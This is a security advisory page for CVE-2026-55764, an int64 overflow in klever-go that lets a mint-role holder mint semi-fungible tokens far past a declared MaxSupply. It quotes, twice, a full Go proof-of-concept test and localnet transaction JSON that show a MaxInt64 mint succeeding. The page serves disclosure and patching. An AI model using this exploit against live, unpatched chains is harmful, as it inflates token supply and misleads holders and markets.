CVE-2026-55764: klever-go SFT Add-quantity `int64` Overflow Bypasses Vulnerability

HIGH
Advisory Identifier: GHSA-mrpp-v6pg-p54x
CWE-190
Published
Advisory Summary

CVE-2026-55764 is a HIGH sft add-quantity `int64` overflow bypasses vulnerability (CWE-190: Integer Overflow or Wraparound) affecting klever-go libraries in the Go ecosystem. The issue involves sft add-quantity `int64` overflow bypasses a finite per-nonce maxsupply. Remediation is available by upgrading affected packages to version 1.7.19.

CVE-2026-55764 at a Glance

CVE Identifier CVE-2026-55764
GHSA Identifier GHSA-mrpp-v6pg-p54x
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-190: Integer Overflow or Wraparound
Affected Product klever-go
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-55764

To remediate this vulnerability, upgrade all affected klever-go dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/klever-io/klever-go fixed: 1.7.19
Upgrade github.com/klever-io/klever-go to 1.7.19
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/klever-io/klever-go

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55764, inspect your project dependencies for klever-go:

inspect dependencies for github.com/klever-io/klever-go

Analyze the terminal output to locate any version of klever-go in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.7.19), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-190: Integer Overflow or Wraparound, where the product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. this occurs when an integer value is incremented to a value that is too large to store in the associated representation. when this occurs, the value may become a very small or negative number. In klever-go, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary On the SFT add-quantity path the only supply bound is `SFTAddCirculation`, which does `meta.Circulation += amount` with **no overflow guard**, then checks `if meta.Circulation > meta.MaxSupply && meta.MaxSupply != 0`. If `amount` overflows `int64` and wraps **negative**, `negative > MaxSupply` is false, the cap check passes, the function returns `nil`, and the balance credit stands. A nonce created with a finite `MaxSupply` (e.g. 1000) can thus be minted to ~`MaxInt64` tokens in one transaction. The fungible mint path is **not** vulnerable — it has a post-increment `MintedValue <= 0` guard that the SFT path lacks. ## Affected code - `core/kapp/systemAccount/systemAcount.go:132-138` (`SFTAddCirculation`, the unguarded `+=`). - Caller: `core/kapp/kda/mint.go:247-283` (`processSemiFungibleAddQuantity`); contrast guard `mint.go:289`. ## Impact A mint-role holder mints ~9.2e18 units of a nonce whose declared `MaxSupply` is small, with no authorized debit, and corrupts the on-chain `Circulation` counter to a negative value (misleading any market/indexer that reads it). ## Reachability Mint-role holder (asset owner or an address granted the role). The mint `Amount` is a raw `int64` from the contract with no upstream upper bound. ## Proof of concept ### Unit test `TestExploit_SFTCirculationOverflowBypassesCap` creates a nonce capped at `MaxSupply = 1000`, seeds `Circulation = 5`, then calls `SFTAddCirculation(MaxInt64)`. The call returns `nil` (cap bypassed) and `Circulation` wraps to `-9223372036854775804`; a normal over-cap amount (`2000`) is correctly rejected with `ErrMaxSupplyExceeded` and does not persist — isolating the unguarded `+=` overflow as the bypass. <details><summary>Full Go PoC (<code>systemAccount</code> package, passes = bug confirmed)</summary> ```go package systemAccount import ( "math" "testing" "github.com/klever-io/klever-go/common" commonMock "github.com/klever-io/klever-go/common/mock" "github.com/klever-io/klever-go/data/state" "github.com/klever-io/klever-go/kapps" "github.com/klever-io/klever-go/tools/marshal" "github.com/stretchr/testify/require" ) func newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) { t.Helper() marshalizer := &marshal.ProtoMarshalizer{} store := make(map[string][]byte) tracker := &commonMock.DataTrieTrackerStub{ RetrieveValueCalled: func(key []byte) ([]byte, error) { return store[string(key)], nil }, SaveKeyValueCalled: func(key []byte, value []byte) error { store[string(key)] = value return nil }, } kappAccount := &commonMock.KAppAccountHandlerStub{ DataTrieTrackerCalled: func() state.DataTrieTracker { return tracker }, } s := &systemAccountKApp{marshalizer: marshalizer} require.NoError(t, s.SetAccountsCacher(&commonMock.AccountsCacherStub{ LoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) { return kappAccount, nil }, })) return s, store } func readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 { t.Helper() meta, err := s.SFTGetMeta(asset, nonce) require.NoError(t, err) require.NotNil(t, meta) return meta } // TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation // (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded // `meta.Circulation += amount`. With an amount near MaxInt64, Circulation // overflows int64 and wraps negative, so the signed cap check // `meta.Circulation > meta.MaxSupply` reads false and the function returns nil: // the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far // past the declared cap. func TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) { asset := []byte("SFTASSET") nonce := []byte{0x01} const maxSupply = int64(1000) const startCirculation = int64(5) // amount is a raw int64 from the contract with no upstream upper bound; the // largest value it can carry is MaxInt64. With Circulation already at 5, // 5 + MaxInt64 overflows int64 and wraps negative. const overflowAmount = int64(math.MaxInt64) // 9223372036854775807 // --- setup: a nonce with a small FINITE MaxSupply and small Circulation --- s, _ := newExploitSystemAccountKApp(t) require.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte("hash"))) // seed an initial circulation of 5 (well within the cap) require.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation)) before := readMeta(t, s, asset, nonce) require.Equal(t, maxSupply, before.MaxSupply) require.Equal(t, startCirculation, before.Circulation) t.Logf("BEFORE exploit: MaxSupply=%d Circulation=%d", before.MaxSupply, before.Circulation) // --- contrast: a normal over-cap amount IS correctly rejected --- // 5 + 2000 = 2005 > 1000, no overflow -> ErrMaxSupplyExceeded. contrastErr := s.SFTAddCirculation(asset, nonce, 2000) require.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded, "a non-overflowing over-cap mint must be rejected") // the rejected call must NOT have persisted (Circulation unchanged at 5) afterContrast := readMeta(t, s, asset, nonce) require.Equal(t, startCirculation, afterContrast.Circulation, "rejected over-cap mint must not persist new circulation") t.Logf("CONTRAST mint amount=2000 (5+2000=2005 > cap 1000) -> err=%v, Circulation stays %d", contrastErr, afterContrast.Circulation) // --- the exploit: amount near MaxInt64 overflows Circulation negative --- exploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount) after := readMeta(t, s, asset, nonce) t.Logf("EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d", overflowAmount, after.MaxSupply) t.Logf("AFTER exploit: Circulation=%d err=%v", after.Circulation, exploitErr) // (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded require.NoError(t, exploitErr, "BUG: overflowing mint should have been capped but returned nil (cap bypassed)") // (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000 require.Negative(t, after.Circulation, "BUG: Circulation must have overflowed to a negative value") // sanity: the wrap is exactly the int64 two's-complement of 5 + overflowAmount. // Computed via non-constant vars so the deliberate overflow happens at runtime // (a constant expression would be rejected by the compiler). circ := startCirculation amt := overflowAmount expectedWrap := circ + amt // intentional int64 overflow at runtime require.Equal(t, expectedWrap, after.Circulation) t.Logf("CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); "+ "a real mint would have credited ~%d tokens with no matching debit.", maxSupply, after.Circulation, overflowAmount) } ``` </details> ### On-chain reproduction (live single-node localnet) SFT `F05-2SDF` was created with nonce 1 capped at `MaxSupply = 1000` (the setup mint of `amount = 1` succeeds normally). An `AssetTrigger Mint` of `amount = 9223372036854775807` (`MaxInt64`) for `F05-2SDF/1`, sent to a fresh receiver, returned **`resultCode Ok`** with a `Transfer` receipt minting `MaxInt64` from the protocol mint address — no `MaxSupplyExceeded`, despite the declared cap of 1000. (Sending the same amount to an account that already held nonce-1 units instead trips the *balance* overflow guard with `RC 37`, confirming the unguarded counter is specifically `SFTAddCirculation`, reached only when the receiver's balance add does not itself overflow.) <details><summary>Setup mint — nonce 1 minted normally with <code>amount=1</code> (hash <code>21e8059e…b55aad1a</code>)</summary> ```json { "hash": "21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a", "blockNum": 463, "status": "success", "resultCode": "Ok", "chainID": "420420", "receipts": [ { "assetId": "F05-2SDF/1", "assetType": "SemiFungible", "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z", "to": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "type": 0, "typeString": "Transfer", "value": 1 } ], "contract": [ { "type": 11, "typeString": "AssetTriggerContractType", "parameter": { "triggerType": "Mint", "assetId": "F05-2SDF", "toAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "amount": 1 } } ] } ``` </details> <details><summary>Exploit — <code>MaxInt64</code> add-quantity to a fresh receiver, result <code>Ok</code>, cap 1000 bypassed (hash <code>8aff40fa…2e1c981e</code>)</summary> ```json { "hash": "8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e", "blockNum": 484, "status": "success", "resultCode": "Ok", "chainID": "420420", "receipts": [ { "assetId": "F05-2SDF/1", "assetType": "SemiFungible", "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z", "to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm", "type": 0, "typeString": "Transfer", "value": 9223372036854775807 } ], "contract": [ { "type": 11, "typeString": "AssetTriggerContractType", "parameter": { "triggerType": "Mint", "assetId": "F05-2SDF/1", "toAddress": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm", "amount": 9223372036854775807 } } ] } ``` </details> ## Remediation 1. In `SFTAddCirculation`, add a post-increment overflow guard before the cap check (e.g. `if meta.Circulation < 0 { return ErrSupplyNotValid }`, matching the fungible `MintedValue <= 0` pattern), or check `amount` against `MaxSupply - Circulation` with overflow-safe arithmetic. 2. Consensus-affecting → gate behind the next activation flag.

CVE-2026-55764 Affected klever-go Versions

1 component(s)
Fixed Versions:
1.7.19
Product / Package Ecosystem Affected Versions Fixed Version
github.com/klever-io/klever-go
Go
< 1.7.19
1.7.19

References

Frequently Asked Questions

What is CVE-2026-55764?
CVE-2026-55764 is a security vulnerability in klever-go involving SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply under CWE-190: Integer Overflow or Wraparound.
Which klever-go versions are affected?
Affected versions include releases prior to 1.7.19 across affected packages: github.com/klever-io/klever-go.
What version fixes CVE-2026-55764?
Upgrading to 1.7.19 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/klever-io/klever-go affected?
Yes, github.com/klever-io/klever-go is affected in releases prior to 1.7.19. Upgrade your dependency to 1.7.19 or later.
What CWE is associated with CVE-2026-55764?
CVE-2026-55764 is classified under CWE-190: Integer Overflow or Wraparound (The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.).
How can I check Go dependencies for CVE-2026-55764?
Run the dependency tree command: 'inspect dependencies for github.com/klever-io/klever-go'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mrpp-v6pg-p54x",
  "modified" : "2026-08-28T22:08:56Z",
  "published" : "2026-08-28T22:08:56Z",
  "aliases" : [ "CVE-2026-55764" ],
  "summary" : "klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply",
  "details" : "## Summary\nOn the SFT add-quantity path the only supply bound is `SFTAddCirculation`, which does\n`meta.Circulation += amount` with **no overflow guard**, then checks\n`if meta.Circulation > meta.MaxSupply && meta.MaxSupply != 0`. If `amount` overflows `int64` and wraps\n**negative**, `negative > MaxSupply` is false, the cap check passes, the function returns `nil`, and the balance\ncredit stands. A nonce created with a finite `MaxSupply` (e.g. 1000) can thus be minted to ~`MaxInt64` tokens in\none transaction. The fungible mint path is **not** vulnerable — it has a post-increment `MintedValue <= 0` guard\nthat the SFT path lacks.\n\n## Affected code\n- `core/kapp/systemAccount/systemAcount.go:132-138` (`SFTAddCirculation`, the unguarded `+=`).\n- Caller: `core/kapp/kda/mint.go:247-283` (`processSemiFungibleAddQuantity`); contrast guard `mint.go:289`.\n\n## Impact\nA mint-role holder mints ~9.2e18 units of a nonce whose declared `MaxSupply` is small, with no authorized debit,\nand corrupts the on-chain `Circulation` counter to a negative value (misleading any market/indexer that reads it).\n\n## Reachability\nMint-role holder (asset owner or an address granted the role). The mint `Amount` is a raw `int64` from the\ncontract with no upstream upper bound.\n\n## Proof of concept\n\n### Unit test\n`TestExploit_SFTCirculationOverflowBypassesCap` creates a nonce capped at `MaxSupply = 1000`, seeds\n`Circulation = 5`, then calls `SFTAddCirculation(MaxInt64)`. The call returns `nil` (cap bypassed) and `Circulation`\nwraps to `-9223372036854775804`; a normal over-cap amount (`2000`) is correctly rejected with\n`ErrMaxSupplyExceeded` and does not persist — isolating the unguarded `+=` overflow as the bypass.\n\n<details><summary>Full Go PoC (<code>systemAccount</code> package, passes = bug confirmed)</summary>\n\n```go\npackage systemAccount\n\nimport (\n\t\"math\"\n\t\"testing\"\n\n\t\"github.com/klever-io/klever-go/common\"\n\tcommonMock \"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/data/state\"\n\t\"github.com/klever-io/klever-go/kapps\"\n\t\"github.com/klever-io/klever-go/tools/marshal\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) {\n\tt.Helper()\n\n\tmarshalizer := &marshal.ProtoMarshalizer{}\n\tstore := make(map[string][]byte)\n\n\ttracker := &commonMock.DataTrieTrackerStub{\n\t\tRetrieveValueCalled: func(key []byte) ([]byte, error) {\n\t\t\treturn store[string(key)], nil\n\t\t},\n\t\tSaveKeyValueCalled: func(key []byte, value []byte) error {\n\t\t\tstore[string(key)] = value\n\t\t\treturn nil\n\t\t},\n\t}\n\n\tkappAccount := &commonMock.KAppAccountHandlerStub{\n\t\tDataTrieTrackerCalled: func() state.DataTrieTracker {\n\t\t\treturn tracker\n\t\t},\n\t}\n\n\ts := &systemAccountKApp{marshalizer: marshalizer}\n\trequire.NoError(t, s.SetAccountsCacher(&commonMock.AccountsCacherStub{\n\t\tLoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) {\n\t\t\treturn kappAccount, nil\n\t\t},\n\t}))\n\n\treturn s, store\n}\n\nfunc readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 {\n\tt.Helper()\n\tmeta, err := s.SFTGetMeta(asset, nonce)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, meta)\n\treturn meta\n}\n\n// TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation\n// (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded\n// `meta.Circulation += amount`. With an amount near MaxInt64, Circulation\n// overflows int64 and wraps negative, so the signed cap check\n// `meta.Circulation > meta.MaxSupply` reads false and the function returns nil:\n// the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far\n// past the declared cap.\nfunc TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) {\n\tasset := []byte(\"SFTASSET\")\n\tnonce := []byte{0x01}\n\n\tconst maxSupply = int64(1000)\n\tconst startCirculation = int64(5)\n\t// amount is a raw int64 from the contract with no upstream upper bound; the\n\t// largest value it can carry is MaxInt64. With Circulation already at 5,\n\t// 5 + MaxInt64 overflows int64 and wraps negative.\n\tconst overflowAmount = int64(math.MaxInt64) // 9223372036854775807\n\n\t// --- setup: a nonce with a small FINITE MaxSupply and small Circulation ---\n\ts, _ := newExploitSystemAccountKApp(t)\n\n\trequire.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte(\"hash\")))\n\t// seed an initial circulation of 5 (well within the cap)\n\trequire.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation))\n\n\tbefore := readMeta(t, s, asset, nonce)\n\trequire.Equal(t, maxSupply, before.MaxSupply)\n\trequire.Equal(t, startCirculation, before.Circulation)\n\tt.Logf(\"BEFORE  exploit: MaxSupply=%d Circulation=%d\", before.MaxSupply, before.Circulation)\n\n\t// --- contrast: a normal over-cap amount IS correctly rejected ---\n\t// 5 + 2000 = 2005 > 1000, no overflow -> ErrMaxSupplyExceeded.\n\tcontrastErr := s.SFTAddCirculation(asset, nonce, 2000)\n\trequire.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded,\n\t\t\"a non-overflowing over-cap mint must be rejected\")\n\t// the rejected call must NOT have persisted (Circulation unchanged at 5)\n\tafterContrast := readMeta(t, s, asset, nonce)\n\trequire.Equal(t, startCirculation, afterContrast.Circulation,\n\t\t\"rejected over-cap mint must not persist new circulation\")\n\tt.Logf(\"CONTRAST mint amount=2000 (5+2000=2005 > cap 1000) -> err=%v, Circulation stays %d\",\n\t\tcontrastErr, afterContrast.Circulation)\n\n\t// --- the exploit: amount near MaxInt64 overflows Circulation negative ---\n\texploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount)\n\n\tafter := readMeta(t, s, asset, nonce)\n\tt.Logf(\"EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d\", overflowAmount, after.MaxSupply)\n\tt.Logf(\"AFTER   exploit: Circulation=%d  err=%v\", after.Circulation, exploitErr)\n\n\t// (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded\n\trequire.NoError(t, exploitErr,\n\t\t\"BUG: overflowing mint should have been capped but returned nil (cap bypassed)\")\n\n\t// (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000\n\trequire.Negative(t, after.Circulation,\n\t\t\"BUG: Circulation must have overflowed to a negative value\")\n\n\t// sanity: the wrap is exactly the int64 two's-complement of 5 + overflowAmount.\n\t// Computed via non-constant vars so the deliberate overflow happens at runtime\n\t// (a constant expression would be rejected by the compiler).\n\tcirc := startCirculation\n\tamt := overflowAmount\n\texpectedWrap := circ + amt // intentional int64 overflow at runtime\n\trequire.Equal(t, expectedWrap, after.Circulation)\n\n\tt.Logf(\"CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); \"+\n\t\t\"a real mint would have credited ~%d tokens with no matching debit.\",\n\t\tmaxSupply, after.Circulation, overflowAmount)\n}\n```\n</details>\n\n### On-chain reproduction (live single-node localnet)\nSFT `F05-2SDF` was created with nonce 1 capped at `MaxSupply = 1000` (the setup mint of `amount = 1` succeeds\nnormally). An `AssetTrigger Mint` of `amount = 9223372036854775807` (`MaxInt64`) for `F05-2SDF/1`, sent to a fresh\nreceiver, returned **`resultCode Ok`** with a `Transfer` receipt minting `MaxInt64` from the protocol mint address —\nno `MaxSupplyExceeded`, despite the declared cap of 1000. (Sending the same amount to an account that already held\nnonce-1 units instead trips the *balance* overflow guard with `RC 37`, confirming the unguarded counter is\nspecifically `SFTAddCirculation`, reached only when the receiver's balance add does not itself overflow.)\n\n<details><summary>Setup mint — nonce 1 minted normally with <code>amount=1</code> (hash <code>21e8059e…b55aad1a</code>)</summary>\n\n```json\n{\n    \"hash\": \"21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a\",\n    \"blockNum\": 463,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"receipts\": [\n        {\n            \"assetId\": \"F05-2SDF/1\",\n            \"assetType\": \"SemiFungible\",\n            \"from\": \"klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z\",\n            \"to\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 1\n        }\n    ],\n    \"contract\": [\n        {\n            \"type\": 11,\n            \"typeString\": \"AssetTriggerContractType\",\n            \"parameter\": {\n                \"triggerType\": \"Mint\",\n                \"assetId\": \"F05-2SDF\",\n                \"toAddress\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n                \"amount\": 1\n            }\n        }\n    ]\n}\n```\n</details>\n\n<details><summary>Exploit — <code>MaxInt64</code> add-quantity to a fresh receiver, result <code>Ok</code>, cap 1000 bypassed (hash <code>8aff40fa…2e1c981e</code>)</summary>\n\n```json\n{\n    \"hash\": \"8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e\",\n    \"blockNum\": 484,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"receipts\": [\n        {\n            \"assetId\": \"F05-2SDF/1\",\n            \"assetType\": \"SemiFungible\",\n            \"from\": \"klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z\",\n            \"to\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 9223372036854775807\n        }\n    ],\n    \"contract\": [\n        {\n            \"type\": 11,\n            \"typeString\": \"AssetTriggerContractType\",\n            \"parameter\": {\n                \"triggerType\": \"Mint\",\n                \"assetId\": \"F05-2SDF/1\",\n                \"toAddress\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n                \"amount\": 9223372036854775807\n            }\n        }\n    ]\n}\n```\n</details>\n\n## Remediation\n1. In `SFTAddCirculation`, add a post-increment overflow guard before the cap check (e.g.\n   `if meta.Circulation < 0 { return ErrSupplyNotValid }`, matching the fungible `MintedValue <= 0` pattern), or\n   check `amount` against `MaxSupply - Circulation` with overflow-safe arithmetic.\n2. Consensus-affecting → gate behind the next activation flag.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/klever-io/klever-go"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.7.19"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/klever-io/klever-go/security/advisories/GHSA-mrpp-v6pg-p54x"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/klever-io/klever-go"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/klever-io/klever-go/releases/tag/v1.7.19"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-190" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T22:08:56Z",
    "nvd_published_at" : null
  }
}